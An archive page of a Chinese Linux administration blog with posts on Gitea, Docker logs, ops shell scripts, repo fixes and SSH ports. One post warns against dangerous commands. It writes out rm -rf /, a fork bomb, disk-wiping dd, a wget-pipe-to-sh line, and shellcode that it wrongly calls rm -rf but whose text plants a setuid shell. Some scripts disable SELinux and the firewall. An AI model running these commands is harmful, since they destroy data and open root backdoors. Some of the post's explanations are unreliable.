存档

‘Linux’ 分类的存档

gitea自建git服务器安装

2023年3月5日 没有评论
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wget -O gitea https://dl.gitea.com/gitea/1.18.5/gitea-1.18.5-linux-amd64
chmod +x gitea
 
adduser \
   --system \
   --shell /bin/bash \
   --gecos 'Git Version Control' \
   --group \
   --disabled-password \
   --home /home/git \
   git
 
mkdir -p /var/lib/gitea/{custom,data,log}
chown -R git:git /var/lib/gitea/
chmod -R 750 /var/lib/gitea/
mkdir /etc/gitea
chown root:git /etc/gitea
chmod 770 /etc/gitea
 
 
chmod 750 /etc/gitea
chmod 640 /etc/gitea/app.ini
 
export GITEA_WORK_DIR=/var/lib/gitea/
 
 
GITEA_WORK_DIR=/var/lib/gitea/ /usr/local/bin/gitea web -c /etc/gitea/app.ini

建立git用户后建议打开ssh登陆。因为只有这个用户才可以运行服务。root用户就没办法会提示出错。

分类: Linux, 网络产品 标签: ,

lsblk命令浅析

2023年1月10日 没有评论

lsblk各个字段解释
默认情况下,lsblk命令将以树状格式列出所有块设备:

[root@MyCloudServer ~]# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 10G 0 disk
├─xvda1 202:1 0 500M 0 part /boot
└─xvda2 202:2 0 9.5G 0 part
├─centos-root 253:0 0 8.5G 0 lvm /
└─centos-swap 253:1 0 1G 0 lvm [SWAP]
xvdb 202:16 0 30G 0 disk
└─xvdb1 202:17 0 30G 0 part
└─Xvdbgroup-xvdb1 253:2 0 29.9G 0 lvm /www
[root@MyCloudServer ~]#

MAJ:MIN: 显示设备的主要和次要设备号,MAJ(major number)表示不同的设备类型,MIN(minor number)表示同一个设备的的不同分区。

RM: 显示设备是否可移动。请注意,在此示例中,设备sr0的RM值等于1,表示它是可移动的。

SIZE: 提供有关设容量的信息。

RO: 显示设备是否为只读。在这种情况下,所有设备的RO均为RO = 0,表示它们不是只读的。

TYPE: 显示块设备是磁盘还是磁盘中的分区(部分)的信息。在此示例中,sda和sdb是磁盘,而sr0是只读存储器(rom)。

MOUNTPOINT: 显示设备的挂载点。

列出所有设备
默认选项不会列出所有空设备。要查看这些内容,还可以使用以下命令:

[root@localhost ~]# lsblk -a
列出设备权限和所有者
要列出设备所有者,组和权限,请使用-m选项:

[root@localhost ~]# lsblk -m

分类: Linux 标签: ,

清理 Docker 日志

2022年12月3日 没有评论

一、概述
Docker 在不重建容器的情况下,日志文件默认会一直追加,时间一长会逐渐占满服务器的硬盘的空间,内存消耗也会一直增加。

Docker 的日志文件存在 /var/lib/docker/containers 目录中

二、处理方案
2.1 使用脚本清理日志(治标)
clean_docker_logs.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
echo "==================== start clean docker containers logs =========================="
 
logs=$(find /var/lib/docker/containers/ -name *-json.log)
 
for log in $logs
  do
    echo "clean logs : $log"
    cat /dev/null > $log
  done
 
echo "==================== end clean docker containers logs   =========================="

2.2 设置Docker容器日志大小(治本)
修改docker-compose.yml

示例:

1
2
3
4
5
6
7
8
  gateway-services:
    container_name: gateway-services
    image: adoptopenjdk/openjdk8
    restart: always
    logging:
      driver: "json-file"
      options:
        max-size: "50m"

max-size=50m,意味着一个容器日志大小上限是50M

重启docker

docker-compose –compatibility up -d

分类: Linux, 解决方案 标签: ,

9 个实用 Shell 脚本(转)

2022年11月10日 没有评论

看到 9 个 shell 脚本范例,运维可以根据实际情况进行修改,9个 shell 脚本如下:

1、Dos 攻击防范(自动屏蔽攻击 IP)

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
DATE=$(date +%d/%b/%Y:%H:%M)
LOG_FILE=/usr/local/nginx/logs/demo2.access.log
ABNORMAL_IP=$(tail -n5000 $LOG_FILE |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>10)print i}')
for IP in $ABNORMAL_IP; do
    if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then
        iptables -I INPUT -s $IP -j DROP
        echo "$(date +'%F_%T') $IP" >> /tmp/drop_ip.log
    fi
done

2、Linux 系统发送告警脚本

1
2
3
4
5
# yum install mailx
# vi /etc/mail.rc
set from=baojingtongzhi@163.com smtp=smtp.163.com
set smtp-auth-user=baojingtongzhi@163.com smtp-auth-password=*******
set smtp-auth=login

3、MySQL 数据库备份单循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
DATE=$(date +%F_%H-%M-%S)
HOST=localhost
USER=backup
PASS=123.com
BACKUP_DIR=/data/db_backup
DB_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "show databases;" 2>/dev/null |egrep -v "Database|information_schema|mysql|performance_schema|sys")
 
for DB in $DB_LIST; do
    BACKUP_NAME=$BACKUP_DIR/${DB}_${DATE}.sql
    if ! mysqldump -h$HOST -u$USER -p$PASS -B $DB > $BACKUP_NAME 2>/dev/null; then
        echo "$BACKUP_NAME 备份失败!"
    fi
done

4、MySQL 数据库备份多循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash
DATE=$(date +%F_%H-%M-%S)
HOST=localhost
USER=backup
PASS=123.com
BACKUP_DIR=/data/db_backup
DB_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "show databases;" 2>/dev/null |egrep -v "Database|information_schema|mysql|performance_schema|sys")
 
for DB in $DB_LIST; do
    BACKUP_DB_DIR=$BACKUP_DIR/${DB}_${DATE}
    [ ! -d $BACKUP_DB_DIR ] && mkdir -p $BACKUP_DB_DIR &>/dev/null
    TABLE_LIST=$(mysql -h$HOST -u$USER -p$PASS -s -e "use $DB;show tables;" 2>/dev/null)
    for TABLE in $TABLE_LIST; do
        BACKUP_NAME=$BACKUP_DB_DIR/${TABLE}.sql
        if ! mysqldump -h$HOST -u$USER -p$PASS $DB $TABLE > $BACKUP_NAME 2>/dev/null; then
            echo "$BACKUP_NAME 备份失败!"
        fi
    done
done

5、Nginx 访问访问日志按天切割

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
LOG_DIR=/usr/local/nginx/logs
YESTERDAY_TIME=$(date -d "yesterday" +%F)
LOG_MONTH_DIR=$LOG_DIR/$(date +"%Y-%m")
LOG_FILE_LIST="default.access.log"
 
for LOG_FILE in $LOG_FILE_LIST; do
    [ ! -d $LOG_MONTH_DIR ] && mkdir -p $LOG_MONTH_DIR
    mv $LOG_DIR/$LOG_FILE $LOG_MONTH_DIR/${LOG_FILE}_${YESTERDAY_TIME}
done
 
kill -USR1 $(cat /var/run/nginx.pid)

6、Nginx 访问日志分析脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash
# 日志格式: $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for"
LOG_FILE=$1
echo "统计访问最多的10个IP"
awk '{a[$1]++}END{print "UV:",length(a);for(v in a)print v,a[v]}' $LOG_FILE |sort -k2 -nr |head -10
echo "----------------------"
 
echo "统计时间段访问最多的IP"
awk '$4>="[01/Dec/2018:13:20:25" && $4<="[27/Nov/2018:16:20:49"{a[$1]++}END{for(v in a)print v,a[v]}' $LOG_FILE |sort -k2 -nr|head -10
echo "----------------------"
 
echo "统计访问最多的10个页面"
awk '{a[$7]++}END{print "PV:",length(a);for(v in a){if(a[v]>10)print v,a[v]}}' $LOG_FILE |sort -k2 -nr
echo "----------------------"
 
echo "统计访问页面状态码数量"
awk '{a[$7" "$9]++}END{for(v in a){if(a[v]>5)print v,a[v]}}'
7、查看网卡实时流量脚本
 
#!/bin/bash
NIC=$1
echo -e " In ------ Out"
while true; do
    OLD_IN=$(awk '$0~"'$NIC'"{print $2}' /proc/net/dev)
    OLD_OUT=$(awk '$0~"'$NIC'"{print $10}' /proc/net/dev)
    sleep 1
    NEW_IN=$(awk  '$0~"'$NIC'"{print $2}' /proc/net/dev)
    NEW_OUT=$(awk '$0~"'$NIC'"{print $10}' /proc/net/dev)
    IN=$(printf "%.1f%s" "$((($NEW_IN-$OLD_IN)/1024))" "KB/s")
    OUT=$(printf "%.1f%s" "$((($NEW_OUT-$OLD_OUT)/1024))" "KB/s")
    echo "$IN $OUT"
    sleep 1
done

8、服务器系统配置初始化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#/bin/bash
# 设置时区并同步时间
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
if ! crontab -l |grep ntpdate &>/dev/null ; then
    (echo "* 1 * * * ntpdate time.windows.com >/dev/null 2>&1";crontab -l) |crontab
fi
 
# 禁用selinux
sed -i '/SELINUX/{s/permissive/disabled/}' /etc/selinux/config
 
# 关闭防火墙
if egrep "7.[0-9]" /etc/redhat-release &>/dev/null; then
    systemctl stop firewalld
    systemctl disable firewalld
elif egrep "6.[0-9]" /etc/redhat-release &>/dev/null; then
    service iptables stop
    chkconfig iptables off
fi
 
# 历史命令显示操作时间
if ! grep HISTTIMEFORMAT /etc/bashrc; then
    echo 'export HISTTIMEFORMAT="%F %T `whoami` "' >> /etc/bashrc
fi
 
# SSH超时时间
if ! grep "TMOUT=600" /etc/profile &>/dev/null; then
    echo "export TMOUT=600" >> /etc/profile
fi
 
# 禁止root远程登录
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
 
# 禁止定时任务向发送邮件
sed -i 's/^MAILTO=root/MAILTO=""/' /etc/crontab
 
# 设置最大打开文件数
if ! grep "* soft nofile 65535" /etc/security/limits.conf &>/dev/null; then
    cat >> /etc/security/limits.conf << EOF
    * soft nofile 65535
    * hard nofile 65535
EOF
fi
 
# 系统内核优化
cat >> /etc/sysctl.conf << EOF
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_tw_buckets = 20480
net.ipv4.tcp_max_syn_backlog = 20480
net.core.netdev_max_backlog = 262144
net.ipv4.tcp_fin_timeout = 20
EOF
 
# 减少SWAP使用
echo "0" > /proc/sys/vm/swappiness
 
# 安装系统性能分析工具及其他
yum install gcc make autoconf vim sysstat net-tools iostat if

9、监控 100 台服务器磁盘利用率脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
HOST_INFO=host.info
for IP in $(awk '/^[^#]/{print $1}' $HOST_INFO); do
    USER=$(awk -v ip=$IP 'ip==$1{print $2}' $HOST_INFO)
    PORT=$(awk -v ip=$IP 'ip==$1{print $3}' $HOST_INFO)
    TMP_FILE=/tmp/disk.tmp
    ssh -p $PORT $USER@$IP 'df -h' > $TMP_FILE
    USE_RATE_LIST=$(awk 'BEGIN{OFS="="}/^\/dev/{print $NF,int($5)}' $TMP_FILE)
    for USE_RATE in $USE_RATE_LIST; do
        PART_NAME=${USE_RATE%=*}
        USE_RATE=${USE_RATE#*=}
        if [ $USE_RATE -ge 80 ]; then
            echo "Warning: $PART_NAME Partition usage $USE_RATE%!"
        fi
    done
done
分类: Linux 标签: ,

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

2022年10月13日 没有评论

ssh 连接 centos 服务器时报警告:

-bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

原因是 ssh连接的时候会传递环境变量,这个变量如在服务器没有的环境,就会报这个错误,是LC_CTYPE这个环境变量导致的提示。

对于LC_CTYPE的参数,我们一般建议设置成UTF-8,服务器上配置文件缺少相应配置参数。所以就报错了。

解决办法:
在centos上运行

vi /etc/locale.conf

内容改为:

LANG=en_US.utf8
LC_ALL=en_US.utf8
LC_CTYPE=en_US.utf8

重新连接ssh,就可以解决错误提示。

分类: Linux, 解决方案 标签: , ,

proxmox 7 :WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

2022年10月13日 没有评论

proxmox 升到7,或是安装7后的版本在使用旧的pct模版LXC的 Centos 7 无法开机,出现以下错误提示:

WARN: old systemd (< v232) detected, container won't run in a pure cgroupv2 environment! Please see documentation -> container -> cgroup version.

TASK WARNINGS: 1

解決方法如下

vim /etc/default/grub

找到以下
GRUB_CMDLINE_LINUX_DEFAULT=”quiet”

改成以下

GRUB_CMDLINE_LINUX_DEFAULT=”systemd.unified_cgroup_hierarchy=0 quiet”

运行更新grub

update-grub

重启服务器
reboot

centos6 yum源不能使用解决办法

2022年10月2日 没有评论

2020年11月30日 centos6各大开源镜像站已经停止维护了!但是阿里源还是可以用的通道,因为他的centos-vault仓库里放了之前版本的centos的包。

只需要在centos命令行界面下执行一下几条命令即可解决问题。命令如下:

1
2
3
4
5
sed -i "s|enabled=1|enabled=0|g" /etc/yum/pluginconf.d/fastestmirror.conf
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
curl -o /etc/yum.repos.d/CentOS-Base.repo https://www.xmpan.com/Centos-6-Vault-Aliyun.repo 
yum clean all
yum makecache

如无法下载Centos-6-Vault-Aliyun.repo文件,可以将以下内容复制存为文件使用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# CentOS-Base.repo
#
# The mirror system uses the connecting IP address of the client and the
# update status of each mirror to pick mirrors that are updated to and
# geographically close to the client.  You should use this for CentOS updates
# unless you are manually picking other mirrors.
#
# If the mirrorlist= does not work for you, as a fall back you can try the 
# remarked out baseurl= line instead.
#
#
 
[base]
name=CentOS-6.10 - Base - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/os/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#released updates 
[updates]
name=CentOS-6.10 - Updates - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/updates/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that may be useful
[extras]
name=CentOS-6.10 - Extras - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/extras/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-6.10 - Plus - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/centosplus/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
 
#contrib - packages by Centos Users
[contrib]
name=CentOS-6.10 - Contrib - mirrors.aliyun.com
failovermethod=priority
baseurl=http://mirrors.aliyun.com/centos-vault/6.10/contrib/$basearch/
gpgcheck=1
enabled=0
gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6
分类: Linux, 解决方案 标签: ,

linux centos修改ssh端口脚本

2022年9月1日 没有评论

linux修改ssh端口脚本
方法一:
复制以下内容到脚本ssh.sh然后使用命令sh ssh.sh就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Use default SSH port 22. If you use another SSH port on your server
if [ -e "/etc/ssh/sshd_config" ];then
    [ -z "`grep ^Port /etc/ssh/sshd_config`" ] && ssh_port=22 || ssh_port=`grep ^Port /etc/ssh/sshd_config | awk '{print $2}'`
    while :; do echo
        read -p "Please input SSH port(Default: $ssh_port): " SSH_PORT
        [ -z "$SSH_PORT" ] && SSH_PORT=$ssh_port
        if [ $SSH_PORT -eq 22 >/dev/null 2>&1 -o $SSH_PORT -gt 1024 >/dev/null 2>&1 -a $SSH_PORT -lt 65535 >/dev/null 2>&1 ];then
            break
        else
            echo "${CWARNING}input error! Input range: 22,1025~65534${CEND}"
        fi
    done
 
    if [ -z "`grep ^Port /etc/ssh/sshd_config`" -a "$SSH_PORT" != '22' ];then
        sed -i "s@^#Port.*@&\nPort $SSH_PORT@" /etc/ssh/sshd_config
    elif [ -n "`grep ^Port /etc/ssh/sshd_config`" ];then
        sed -i "s@^Port.*@Port $SSH_PORT@" /etc/ssh/sshd_config
    fi
	cp /etc/selinux/config /etc/selinux/config_$baktime
sed -i '/SELINUX/s/\(enforcing\|permissive\)/disabled/' /etc/selinux/config
if [ -e /etc/sysconfig/selinux ]
   then
       cp /etc/sysconfig/selinux /etc/sysconfig/selinux_$baktime
       sed -i '/SELINUX/s/\(enforcing\|permissive\)/disabled/' /etc/sysconfig/selinux
fi
setenforce 0
systemctl enable firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=$SSH_PORT/tcp --permanent
firewall-cmd --reload
service sshd restart
fi

方法二:(推荐)
以下这个直接运行就更快捷。

1
2
3
4
5
6
firewall-cmd --zone=public --add-port=8899/tcp --permanent
firewall-cmd --reload
sed -i '/#Port 22/s/#Port 22/Port 8899/' /etc/ssh/sshd_config
sed -i '/#UseDNS yes/s/#UseDNS yes/UseDNS no/' /etc/ssh/sshd_config
service sshd restart
/bin/systemctl restart sshd.service

8899就是更改后的端口。自己改变一下。

分类: Linux 标签: ,

Linux下的高危命令

2022年6月1日 没有评论

1、rm -rf 命令
该命令可能导致不可恢复的系统崩坏。

> rm -rf / #强制删除根目录下所有东西。
> rm -rf * #强制删除当前目录的所有文件。
> rm -rf . #强制删除当前文件夹及其子文件夹。
执行 rm -rf 一定要想半天,搞明白自己在干什么。所谓的删库跑路,大多基于这个命令,就算是运维老司机也不要轻易尝试。
-rf 将递归删除文件,误删文件导致数据丢失,产生严重后果。如果多一个空格,或者 /没有补齐,或者文件有特殊符号,导致误删文件的误操作居多。
2、fork 炸弹

1
:() { :|:& };:

不太好理解可以转换成:

bomb()
{
bomb|bomb&
};
bomb
一旦执行起来,-bash: fork: Cannot allocate memory,会把系统资源消耗殆尽。它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、echo “” > /dev/sda
该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv 文件夹 /dev/null
> mv /etc /dev/null
/dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。但是这个命令并不能阻止数据恢复软件——所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成。
5、下载的文件立即执行
> wget http://rumenz.com/rumenz.sh -O- | sh
如果 rumenz.sh 是一个病毒脚本,就完蛋了。下载脚本文件之前要看看里面的内容,有危险的操作就不要执行。
6、mkfs.ext3 /dev/sdb
这个命令会格式化块设备 sdb,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
7、重定向输出到文件
> > rumenz.txt
这个命令常用来清空文件内容或记录命令输出,执行之前请考虑清楚。
8、硬盘清零
dd 命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。

下面列举 dd 命令:

dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:

> dd if=/dev/zero of=/dev/had
所以,不管是新手还是老司机,都不要轻易尝试。

9、执行伪装后的命令
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
上面的命令就是 rm -rf,这里的代码是隐藏在十六进制里的,可能会擦除你的根分区,所以看不懂的命令千万不能执行,非要看效果,请在虚拟机中执行。
10、Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到KB。事实上,该小尺寸的压缩文件包含高度压缩数据。
只要文件解压,上百GB数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。
11、Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
12、Tar Bomb
tar命令用于将多个文件以.tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。

当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者。

13. ^foo^bar
这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。
图片
14、kill\killall
killall 命令,杀死同一进程组内的所有进程,其允许指定要终止的进程的名称,而非 PID

killall 和 pkill 是相似的,不过如果给出的进程名不完整,killall会报错。pkill 或者 pgrep只要给出进程名的一部分就可以终止进程。
homer@ubuntu:~$ killall firefo
firefo: no process found
homer@ubuntu:~$ killall firefox
homer@ubuntu:~$ killall -9 firefox

杀死进程最安全的方法是单纯使用kill命令,不加修饰符,不带标志。
例如:# kill -pid
注释:标准的kill命令,默认采用信号(signal)号是15,通常都能达到目的,终止有问题的进程,并把进程的资源释放给系统。然而,如果进程启动了子进程,只杀死父进程,子进程仍在运行,因此仍消耗资源。为了防止这些所谓的“僵尸进程”,应确保在杀死父进程之前,先杀死其所有的子进程。
kill -l

例如:kill -l PID

-l 选项, 告诉kill命令用好像启动进程的用户已注销的方式结束进程。当使用该选项时,kill命令也试图杀死所留下的子进程。但这个命令也不是总能成功—或许仍然需要先手工杀死子进程,然后再杀死父进程。
15、打断fsck
fsck 如果底层硬件以某种方式损坏,肯定弊大于利;CPU坏,RAM坏,硬盘快要死了,磁盘 Controller 坏了……在这些情况下,更多的损坏是不可避免的。
如果有疑问,最好使用 dd_rescue 对损坏的磁盘进行镜像。或其他工具,然后看看您是否可以成功修复该图像。这样,您仍然可以使用原始设置。

分类: Linux, 软件使用 标签: ,

ubuntu 17 更换apt源

2022年5月20日 没有评论

有一些生产环境的服务器上的ubuntu 17 18系统很久没搞了。升级的源都太旧了。网上找了几个源,测试了一下更新。希望能对大家有帮助。

1
sudo vim /etc/apt/sources.list

清空,更换成以下内容。然后保存退出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
deb-src http://archive.ubuntu.com/ubuntu artful main restricted #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful-updates main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful-updates main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful universe
deb http://mirrors.aliyun.com/ubuntu/ artful-updates universe
deb http://mirrors.aliyun.com/ubuntu/ artful multiverse
deb http://mirrors.aliyun.com/ubuntu/ artful-updates multiverse
deb http://mirrors.aliyun.com/ubuntu/ artful-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ artful-backports main restricted universe multiverse #Added by software-properties
deb http://archive.canonical.com/ubuntu artful partner
deb-src http://archive.canonical.com/ubuntu artful partner
deb http://mirrors.aliyun.com/ubuntu/ artful-security main restricted
deb-src http://mirrors.aliyun.com/ubuntu/ artful-security main restricted multiverse universe #Added by software-properties
deb http://mirrors.aliyun.com/ubuntu/ artful-security universe
deb http://mirrors.aliyun.com/ubuntu/ artful-security multiverse
deb http://mirrors.aliyun.com/ubuntu bionic main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-updates main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-security main multiverse restricted universe
deb http://mirrors.aliyun.com/ubuntu bionic-proposed main multiverse restricted universe

#将 /var/cache/apt/archives/ 的 所有 deb 删掉

1
sudo apt-get clean

#更新列表

1
2
sudo apt-get update -y
sudo apt-get upgrade -y

如果出现新完了之后,还出现了appstreamcli: error while loading shared libraries: libxapian.so.22: cannot open shared object file: No such file or directory
这之类的问题,按以下一般能解决。
解决方法:

1
2
3
4
5
apt --fix-broken install
apt-get install build-essential
apt-get install zlib1g-dev libc6-dev libc-dev libmysqlclient-dev
dpkg -l | grep libc6
apt-get install  libc6=2.19-0ubuntu6.9
分类: Linux, 解决方案 标签: , ,